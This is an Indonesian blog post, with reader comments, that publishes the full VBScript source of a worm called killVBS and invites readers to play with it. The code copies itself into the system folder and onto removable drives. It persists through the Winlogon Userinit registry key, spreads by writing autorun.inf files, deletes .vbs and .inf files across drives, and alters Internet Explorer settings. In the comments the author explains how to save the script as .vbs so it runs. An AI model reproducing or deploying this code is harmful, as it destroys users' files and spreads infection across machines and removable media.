Virus KillVB.vbs Script

Kalau ada yang mau bermain Virus neh ta kasi.

Option Explicit

On Error Resume Next

Dim Fso, Shells, SystemDir, WinDir, Count, File, Drv, Drives, InDrive, ReadAll, AllFile, WriteAll, Del, Chg
Set Fso = CreateObject(”Scripting.FileSystemObject”)
Set Shells = CreateObject(”Wscript.Shell”)
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir = Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(Wscript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.Drives
Set ReadAll = File.OpenAsTextStream(1, -2)

Do While Not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbCrLf
Loop
Count = Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(SystemDir & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(SystemDir & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs”
For Each Drives In InDrive

If Drives.DriveType = 2 Then
LookVBS “inf”, Drives.Path & “\”
LookVBS “INF”, Drives.Path & “\”
End If

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path <> “A:” Then
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “%SystemRoot%\System32\WScript.exe,2″
LookVBS “vbs”, WinDir & “\”
LookVBS “vbs”, Drives.Path & “\”
If Drives.DriveType = 1 Then
If Drives.Path <> “A:” Then
If Not Fso.FileExists(Drives.Path & “\killVBS.vbs”) Then
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\killVBS.vbs”, 2, True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\killVBS.vbs”)
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & “\autorun.inf”) Or Fso.FileExists(Drives.Path & “\AUTORUN.INF”) Then
Set Chg = Fso.GetFile(Drives.Path & “\autorun.inf”)
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”, 2, True)
WriteAll.WriteLine “[autorun]”
WriteAll.WriteLine “shellexecute=wscript.exe killVBS.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
Else
Set WriteAll = Fso.CreateTextFile(Drives.Path & “\autorun.inf”, 2, True)
WriteAll.WriteLine “[autorun]”
WriteAll.WriteLine “shellexecute=wscript.exe killVBS.vbs”
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & “\autorun.inf”)
WriteAll.Attributes = -1
End If
End If
End If
End If
End If
Next
If Count <> 1 Then
Wscript.sleep 10000
End If
Loop While Count <> 1
Sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile, Cut, Delete
Set oFileSys = CreateObject(”Scripting.FileSystemObject”)
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut = Right(oFile.Name, 3)
If UCase(Cut) = UCase(File2Find) Then
If oFile.Name <> “killVBS.vbs” Then Set Delete = oFileSys.DeleteFile(SrchPath & oFile.Name, True)
End If
Next
End Sub
Shells.RegWrite “HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, SystemDir & “\userinit.exe,” & _
SystemDir & “\wscript.exe ” & SystemDir & “\killVBS.vbs”
Shells.Regdelete “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Window Title”, “”
Shells.RegWrite “HKCU\Software\Microsoft\Internet Explorer\Main\Start Page”, “”
Shells.RegWrite “HKCR\vbsfile\DefaultIcon”, “%SystemRoot%\System32\WScript.exe,2″

Popularity: 1% [?]

Recomended | jadul | September 2, 2008 7:21 pm

5 Comments

By diah, September 4, 2008 @ 1:05 am

apaan tuh q gak ngerti……boleh lah nambah pengetahuan biar keliatan gak asing lagi..brumm
By yhadee, September 4, 2008 @ 5:19 am

belakangan pc-ku juga kena demam virus yng nnni :P
By jadul, September 4, 2008 @ 2:32 pm

soalnya ketemu diwarnet. sapa tau aja ada master antivirus yang berkunjung.
By opit, November 8, 2008 @ 10:32 am

format nya dalam bentuk ap mas??mksih bt pengetahuan nya..
By jadul, November 8, 2008 @ 7:58 pm

copy di notepad
kasi nama viruskillvb.vbs
inget extentionnya bukan .txt tapi .vbs